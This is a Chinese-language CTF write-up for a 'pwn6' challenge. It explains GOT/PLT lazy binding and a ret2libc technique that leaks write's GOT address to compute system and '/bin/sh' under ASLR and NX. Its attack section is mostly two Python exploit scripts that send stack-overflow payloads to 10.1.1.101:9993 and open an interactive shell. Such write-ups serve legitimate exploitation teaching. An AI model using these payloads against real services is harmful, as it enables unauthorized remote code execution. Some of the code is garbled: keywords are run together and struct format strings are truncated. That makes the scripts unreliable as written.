GOT表和PLT表:
GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局變量和函數(shù)的一個(gè)表。PLT(Procedure Linkage Table,過程鏈接表)是Linux ELF文件中用于延遲綁定的表,即函數(shù)第一次被調(diào)用的時(shí)候才進(jìn)行綁定。
延遲綁定:
所謂延遲綁定,就是當(dāng)函數(shù)第一次被調(diào)用的時(shí)候才進(jìn)行綁定(包括符號查找、重定位等),如果函數(shù)從來沒有用到過就不進(jìn)行綁定。基于延遲綁定可以大大加快程序的啟動速度,特別有利于一些引用了大量函數(shù)的程序
下面簡單介紹一下延遲綁定的基本原理。假如存在一個(gè)bar函數(shù),這個(gè)函數(shù)在PLT中的條目為bar@plt,在GOT中的條目為bar@got,那么在第一次調(diào)用bar函數(shù)的時(shí)候,首先會跳轉(zhuǎn)到PLT,偽代碼如下:
bar@plt:
jmp bar@got
patch bar@got
這里會從PLT跳轉(zhuǎn)到GOT,如果函數(shù)從來沒有調(diào)用過,那么這時(shí)候GOT會跳轉(zhuǎn)回PLT并調(diào)用patch bar@got,這一行代碼的作用是將bar函數(shù)真正的地址填充到bar@got,然后跳轉(zhuǎn)到bar函數(shù)真正的地址執(zhí)行代碼。當(dāng)我們下次再調(diào)用bar函數(shù)的時(shí)候,執(zhí)行路徑就是先后跳轉(zhuǎn)到bar@plt、bar@got、bar真正的地址。具體來看個(gè)實(shí)例:
vulnerable_function函數(shù)調(diào)用了read函數(shù),由于read函數(shù)是動態(tài)鏈接加載進(jìn)來的只有在鏈接的時(shí)候才知道地址,編譯時(shí)并不知道地址
執(zhí)行call _read函數(shù)會
跳到plt表中尋找中:
plt表中會繼續(xù)跳入到got表中尋找
got表中的所存的read函數(shù)的地址便是在pwn6進(jìn)程中的實(shí)際地址,也就是
信息泄漏的實(shí)現(xiàn)
在進(jìn)行緩沖區(qū)溢出攻擊的時(shí)候,如果我們將EIP跳轉(zhuǎn)到write函數(shù)執(zhí)行,并且在棧上安排和write相關(guān)的參數(shù),就可以泄漏指定內(nèi)存地址上的內(nèi)容。比如我們可以將某一個(gè)函數(shù)的GOT條目的地址傳給write函數(shù),就可以泄漏這個(gè)函數(shù)在進(jìn)程空間中的真實(shí)地址。
如果泄漏一個(gè)系統(tǒng)調(diào)用的內(nèi)存地址,結(jié)合libc.so.6文件,我們就可以推算出其他系統(tǒng)調(diào)用(比如system)的地址。
ibc.so.6文件的作用
在一些CTF的PWN題目中,經(jīng)常可以看到題目除了提供ELF文件之外還提供了一個(gè)libc.so.6文件,那么這個(gè)額外提供的文件到底有什么用呢?
如果我們可以利用目標(biāo)程序的漏洞來泄漏某一個(gè)函數(shù)的地址,那么我們就可以計(jì)算出system函數(shù)的地址了,當(dāng)然,被泄露地址的函數(shù)必須也定義在libc.so.6中(libc.so.6中通常也存在有/bin/bash或者/bin/sh這個(gè)字符串)。
計(jì)算system函數(shù)地址的基本原理是,在libc.so.6中,各個(gè)函數(shù)的相對地址是固定的,比如函數(shù)A相對于libc.so.6的起始地址為addr_A,函數(shù)B相對于libc.so.6的起始地址為addr_B,那么,如果我們能夠泄漏進(jìn)程內(nèi)存空間中函數(shù)A的地址address_A,那么函數(shù)B在進(jìn)程空間中的地址就可以計(jì)算出來了,為address_A + addr_B - addr_A
pwn6代碼和pwn4,5一樣只是export表中已經(jīng)沒有了system函數(shù),而且開啟了nx,開啟了aslr
思路:
pwn6中已經(jīng)沒有了system函數(shù)但是可以查看到例如wirte函數(shù)或者read函數(shù)的地址,另外由于題目給了libc.so,所以可以查看到write相對libc.so的相對地址,已知write函數(shù)的加載到內(nèi)存的地址,通過write函數(shù)和sysytem函數(shù)在libc.so中的偏移可以計(jì)算出sysytem在pwn6程序中的地址,從而達(dá)到getshell。
首先利用漏洞程序泄露write函數(shù)在pwn6中的地址,通過ida交叉引用發(fā)現(xiàn)兩處被調(diào)用
根據(jù)上面介紹延遲綁定時(shí)的分析,由于linux開啟了aslr,libc每次加載的地址不一樣,所以每次加載write函數(shù)在進(jìn)程中的地址也不一樣,但是aslr沒有影響到.text段,所以通過got表write函數(shù)的地址每次加載便可以找到write在進(jìn)程中地址。根據(jù)此我們可以得出利用wirte函數(shù)泄露write函數(shù)在進(jìn)程中地址的棧攻擊模型:
泄露leakpython代碼:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
importsocket
importstruct
def?P32(val):
"""將32位數(shù)據(jù)轉(zhuǎn)換成字符串(小端模式)"""
return?struct.pack(",val)
def?UP32(s):
"""將字符串還原為32位數(shù)據(jù)(小端模式)"""
return?struct.unpack(",s)[0]
def?leak_info():
#創(chuàng)建socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#連接遠(yuǎn)程服務(wù)器
s.connect(("10.1.1.101",9993))
#構(gòu)造payload數(shù)據(jù)
payload='A'*140+P32(0x080483A0)+'A'*4+P32(1)+P32(0x0804A010)+P32(4)
#發(fā)送payload數(shù)據(jù)
s.sendall(payload+'\n')
#接收write函數(shù)地址(信息泄漏)
write_addr=UP32(s.recv(4))
#打印write函數(shù)地址
print"write() address: 0x%08X"%write_addr
if__name__=="__main__":
leak_info()
我們已經(jīng)能夠泄漏write函數(shù)的地址了,這樣我們就可以計(jì)算出system函數(shù)以及/bin/sh字符串的地址。在libc.so.6中,system函數(shù)的地址為0x0003AF70,/bin/sh字符串的地址為0x001566A4,write函數(shù)的地址為0x000D2850。
假設(shè)實(shí)際上write函數(shù)的地址為write_addr,system函數(shù)的地址為system_addr,/bin/sh字符串的地址為binsh_addr,那么下面的等式成立:
write_addr - 0x000D2850 = system_addr - 0x0003AF70 = binsh_addr - 0x001566A4
現(xiàn)在面臨的問題是,每次通過leak_info.py獲取到的write_addr是變化的,這是因?yàn)槊看螁舆M(jìn)程后write函數(shù)的實(shí)際地址也是變化的,所以我們需要把信息泄漏和獲取服務(wù)器控制權(quán)限在一次網(wǎng)絡(luò)連接中完成,這該如何實(shí)現(xiàn)呢?
借助于兩次緩沖區(qū)溢出即可完成這一過程。第一次緩沖區(qū)溢出泄漏write的地址之后,我們讓EIP再次跳轉(zhuǎn)到vulnerable_function來執(zhí)行,這樣就可以接著進(jìn)行第二次緩沖區(qū)溢出的過程,此時(shí)執(zhí)行system("/bin/sh")即可,如下圖所示:
構(gòu)造payload:
importsocket
importstruct
importtelnetlib
defP32(val):
"""將32位數(shù)據(jù)轉(zhuǎn)換成字符串(小端模式)"""
returnstruct.pack(",val)
defUP32(s):
"""將字符串還原為32位數(shù)據(jù)(小端模式)"""
returnstruct.unpack(",s)[0]
defpwn_server():
#創(chuàng)建socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#連接遠(yuǎn)程服務(wù)器
s.connect(("10.1.1.101",9993))
# vulnerable_function函數(shù)的地址
vuln_addr=P32(0x08048474)
#構(gòu)造payload數(shù)據(jù)
payload='A'*140+P32(0x080483A0)+vuln_addr+P32(1)+P32(0x0804A010)+P32(4)
#發(fā)送payload數(shù)據(jù)
s.sendall(payload+'\n')
#接收write函數(shù)地址(信息泄漏)
write_addr=UP32(s.recv(4))
#根據(jù)公式以及write函數(shù)地址計(jì)算system函數(shù)以及參數(shù)的地址
# write_addr - 0x000D2850 = system_addr - 0x0003AF70 = binsh_addr - 0x001566A4
system_addr=P32(write_addr-0x000D2850+0x0003AF70)
binsh_addr=P32(write_addr-0x000D2850+0x001566A4)
#構(gòu)造第二階段的payload數(shù)據(jù)
payload='A'*140+system_addr+'A'*4+binsh_addr
#發(fā)送payload數(shù)據(jù)
s.sendall(payload+'\n')
#創(chuàng)建telnet獲取shell
t=telnetlib.Telnet()
t.sock=s
t.interact()
if__name__=="__main__":
pwn_server()